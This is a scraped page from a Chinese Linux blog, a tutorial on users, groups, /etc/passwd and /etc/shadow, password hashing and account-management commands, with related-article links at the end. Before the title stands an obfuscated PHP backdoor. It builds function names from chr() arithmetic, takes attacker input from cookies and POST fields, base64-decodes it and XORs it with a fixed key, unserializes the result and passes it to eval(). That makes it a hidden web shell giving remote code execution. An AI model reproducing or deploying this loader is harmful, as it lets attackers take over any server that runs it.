$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 用户和权限管理 | Linux运维部落

用户和权限管理

一、用户

Linux中用户是资源获取的标识符,资源分配,文件系统安全权限模型的核心要素之一。密码则是用户认证的凭证,用户信息和密码信息都存放在相应的文本文件中,密码信息在存放的过程用了一定的加密算法进行加密。  

1.加密算法:

资源分派:   

Authentication:认证(确认身份,也有可能好几个人一个身份)    

用户名+口令验证     

Authorization:授权(对文件操作)      

Accouting|Audition:审计(根据日志判断操作)               

加密方法(计算速度快,可以破解一切密码):

对称加密(DES,3DES,):加密和解密都是用同样秘钥,叫做对称加密

公钥加密(DSA,RSA):私钥和公钥。

私钥加密(认证用户),公钥解密。

单向加密:比较二次数据可以得知数据是否被修改

雪崩效应(蝴蝶效应):初始条件的细小改变,会导致数据的巨大变化

定长输出:

不可逆:

MD5:信息摘要,128bits定长输出

SHA1:安全的hash算法,160bits

SHA224: 224bits

SHA256: 256bits

SHA384: 384bits

SHA512: 512bits

更改加密算法authconfig  –passalgo=sha256 –update

  显示当前的加密算法 authconfig –test | grep hashing

diff 逐行比较两个文件的内容,列出两个文件之间不同。

    man sslpasswd (此命令可以自己按照加密方式得到密码,但是支持MD5加密算法)

openssl passwd -1 -salt 123456789  (用MD5加密,然后在密码中加了123456789字符作为盐,用来保证相同密码加密的MD5码不相同)

2.相关存放信息文件有:   

/etc/passwd  用户信息表,存放NAME、UID、GID、COMMENT、HOMEDIR、TYPE  SHELL    

/etc/shadow 用户密码信息表,存放加密后的密码,密码修改相关时限    

/etc/group 组信息表,存放GROUPNAME、GID、其他将此组当做附加组的用户名      

/etc/gshadow 组密码表,存放GROUPNAME、加密密码、其他将此组当做附加组的用户名       

3.相关环境配置文件:    

/etc/login.de 控制创建用户时系列参数      

/etc/default/useradd   也是控制创建用户时的系列参数      

/etc/shells 当前系统中存在的shell类型       

etc/skel   创建用户家目录时里面的文件的来源

4.Linux安全上下文(security context)

运行中的程序:进程(process)

以进程发起者的身份运行:(是由root和mage决定的,不是cat决定,这两者执行cat的权限是不一样的)

root: /bin/cat

mage: /bin/cat

进程所能够访问资源的权限取决于进程的运行者的身份,而不是进程所有者的身份

组的类别

一个账号可以加入多个组,一个组也可以包含多个用户

例如:

group1:wang,mage,li

group2:wang,li

Linux组的类别:

用户的主要组(主组):(一个用户在创建的时候必须要指定一个组)

用户必须属于一个且只有一个主组

组名同用户名,且仅包含一个用户:私有组

这是默认的,新建一个用户,就会产生和用户同名的组,有且仅有一个

用户的附加组(辅助组,secondary group):

一个用户可以属于零个或多个辅助组

前提:进程有属主和属组;文件有属主和属组

(1) 任何一个可执行程序文件能不能启动为进程:取决发起者对程序文件是否拥有执行权限

(2) 启动为进程之后,其进程的属主为发起者;进程的属组为发起者所属的组

(3) 进程访问文件时的权限,取决于进程的发起者

(a) 进程的发起者,同文件的属主:则应用文件属主权限

(b) 进程的发起者,属于文件属组;则应用文件属组权限

(c) 应用文件“其它”权限

5./etc/passwd 用户信息文件详解

文件格式:

NAME:X:UID:GID:COMMENT:HOME:SHELL

NAME:用户名

X  :用户密码占位符,以前用户密码存放在这里(pwconv,pwunconv。这两个命令可以将密码重新导入这里或者到导出回/etc/shadow)

UID:User IDentfie 

用户识别码,每个用户唯一的识别码,Linux系统识别用户不通过NAME来识别,是通过UID识。

根据UID的数字,将用户分为两类:

65535

管理员用户:UID(0)

普通用户:

系统用户:UID (1-499)CentOS 6

UID (1-999)CentOS 7

普通用户:UID (500+) CentOS 6

UID (500+) CentOS 7

GID:Group IDentfie

基本组GID,每个用户都有一个基本组,这个基本组可以不是唯一的。基本组GID也分为同UID一样分为两类,具体分组见上面。

COMMENT:注释信息,就finger USERNAME 得出的信息。

HOME:用户的家目录路径

SHELL:shell类型

/etc/group  存放组信息表

格式:  GROUPNAME:X:GID:附加组

GROUOPNAME: 组名

X : 组密码占位符

GID:组GID

附加组:其他用户以这个组为附加组的用户名

vigr 修改配置文件时,格式不对会提醒

/etc/passwd 存放密码的信息表

格式: login name:encrypted password:date of last password change:minimum password age:maximum password age:password warning period:password inactivity period:account expiration date:reserved field

login name : 用户名

encrypted password:加密密码

date of last password change:最近修改密码的时间,从1970年1月1日

minimum password age:最小的修改密码时间

maximum password age:密码最长能使用的时间

password warning period:距离过期的警告时间

password inactivity period:非活动区间(账号一登陆就需要修改密码)

account expiration date: 账户有效期

vipw 修改配置文件时,格式不对会提醒

pwck 检查/etc/passwd 文件格式是否存在错误

/etc/gshadow

group name :组名

encrypted password:群组加密密码

administrators :组管理员

members :组成员

grpck 检查/etc/gpasswd 文件格式是否存在错误  

pwck和grpck

用户创建:

用户创建方式之一:useradd 命令

useradd 

-u UID: [UID_MIN, UID_MAX]定义在/etc/login.defs

-o 配合-u 选项,不检查UID的唯一性

-g GID:指明用户所属基本组,可为组名,也可以GID

-c "COMMENT":用户的注释信息

-d HOME_DIR: 以指定的路径(不存在)为家目录

-s SHELL: 指明用户的默认shell程序可用列表在/etc/shells文件中

-G GROUP1[,GROUP2,…]:为用户指明附加组,组必须事先存在

-N 不创建私用组做主组,使用users组做主组

-r: 创建系统用户 CentOS 6: ID<500, CentOS 7: ID<1000

默认值设定: /etc/default/useradd文件中

显示或更改默认设置:

useradd -D

useradd –D -s SHELL

默认配置文件

/etc/default/useradd

/etc/skel/*

/etc/login.defs

批量创建用户:

newusers PASSWD.TXT

PASSWD.TXT 的格式必须是/etc/passwd 下面的格式

chpasswd 批量修改用户口令

cat SHADOW.TXT |  chpasswd  

SHADOW.TXT 的格式:

ACCOUNT:明文密码

修改用户属性:

usermod

-u UID: 新UID

-g GID: 新基本组

-G GROUP1[,GROUP2,…[,GROUPN]]]:新附加组,原来的附加组将会被覆盖;若保留原有,则要同时使用-a选项,表示append;

-s SHELL:新的默认SHELL;

-c 'COMMENT':新的注释信息;

-d HOME: 新家目录不会自动创建,原家目录中的文件不会同时移动至新的家目录;若要创建新家目录并移动原家数据,同时使用-m选项

-l login_name: 新的名字;

-L: lock指定用户,在/etc/shadow 密码栏的增加 !

-U: unlock指定用户,将 /etc/shadow 密码栏的 ! 拿掉

-e YYYY-MM-DD: 指明用户账号过期日期;

-f INACTIVE: 设定非活动期限;

chage [OPTION]… LOGIN

-d LAST_DAY

-E, –expiredate EXPIRE_DATE

-I, –inactive INACTIVE

-m, –mindays MIN_DAYS

-M, –maxdays MAX_DAYS

-W, –warndays WARN_DAYS

–l,显示密码策略

下一次登录强制重设密码

chage -d 0 tom

chage -m 0 –M 42 –W 14 –I 7 tom

chage -E 2016-09-10 tom

用户相关的其它命令

chfn 指定个人信息

chsh 指定shell

删除用户:

userdel

-r: 删除用户家目录;

设置用户密码:

passwd

-l:锁定指定用户

-u:解锁指定用户

-e:强制用户下次登录修改密码

-n mindays: 指定最短使用期限

-x maxdays:最大使用期限

-w warndays:提前多少天开始警告

-i inactivedays:非活动期限;

–stdin:从标准输入接收用户密码;

echo "PASSWORD" | passwd –stdin USERNAME

用户组相关信息:

groupadd [OPTION]… group_name

-g GID: 指明GID号; [GID_MIN, GID_MAX]

-r: 创建系统组;

修改和删除组

组属性修改: groupmod

groupmod [OPTION]… group

-n group_name: 新名字

g GID: 新的GID;

组删除: groupdel

groupdel GROUP

更改组密码

组密码: gpasswd

gpasswd [OPTION] GROUP

-a user: 将user添加至指定组中;

-d user: 从指定组中移除用户user

-A user1,user2,…: 设置有管理权限的用户列表

newgrp命令:临时切换基本组;

如果用户本不属于此组,则需要组密码

更改和查看组成员

groupmems [options] [action]

-g, –group groupname 更改为指定组 (只有root)

-a, –add username 指定用户加入组

-d, –delete username 从组中删除用户

-p, –purge 从组中清除所有成员

-l, –list 显示组成员

groups 显示用户组信息

显示用户相关信息:

id 

-g, –group   仅仅显示有效GID

      -G, –groups  显示所有组的GID

-n, –name 

              print a name instead of a number, for -ugG

       -r, –real

              print the real ID instead of the effective ID, with -ugG

       -u, –user

              print only the effective user ID

        finger

原创文章,作者:fighter,如若转载,请注明出处:http://www.178linux.com/28892

(0)
上一篇 2016-08-05 16:16
下一篇 2016-08-05 16:16

相关推荐

  • find命令之德.摩根定律及perm条件详解

    (1)德.摩根定律        !A -a !B=!( A -o B )        !A -o !B=!( A -a B )        使用条件:条件中存在“非”、“与”…

    Linux干货 2016-08-18
  • linux 文件权限以及用户策略 讲解

     linux 文件权限以及用户策略 讲解    由于linux系统是一个多用户使用的系统,对于各个用户指定的文件或目录必须存在一套管理系统,以防止多用户对相同文件的混淆使用。于是催生出了linux系统文件的用户权限设置。其存在的意义就是每一个文件或目录对于不同的用户区分读取,写入,执行三种权限,即:r,w,x。下面将详…

    Linux干货 2016-08-05
  • 从Linux小白到大牛——与狼共舞的日子4

    马哥教育网络班21期+第4周课程练习 1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 [root@localhost ~]# cp -a /etc/skel/ /home/tuser1/ [root@localhost&n…

    Linux干货 2016-08-02
  • Http请求流程

    1、http请求流程 1.连接 当我们输入这样一个请求时,首先要建立一个socket连接,因为socket是通过ip和端口建立的,所以之前还有一个DNS解析过程,把www.mycompany.com变成ip,如果url里不包含端口号,则会使用该协议的默认端口号。 DNS的过程是这样的:首先我们知道我们本地的机器上在配置网络时都会填写DNS,这样本机就会把这个…

    Linux干货 2017-02-13
  • shell脚本参数练习

    1、写一个脚本,判断当前系统上所有用户的shell是否为可登陆shell(即用户的shell不是/sbin/nologin),分别这两类用户的个数;通过字符串比较来实现; !/bin/bash # login_user=0 nologin_user=0 for i in $(cat /etc/passwd | cut -d : -f 7);do if [ $…

    2017-09-17
  • 软链接和硬链接的区别

    Linux链接概念 Linux链接分两种,一种被称为硬链接(Hard Link),另一种被称为符号链接(Symbolic Link)。 硬链接 硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种…

    Linux干货 2016-10-29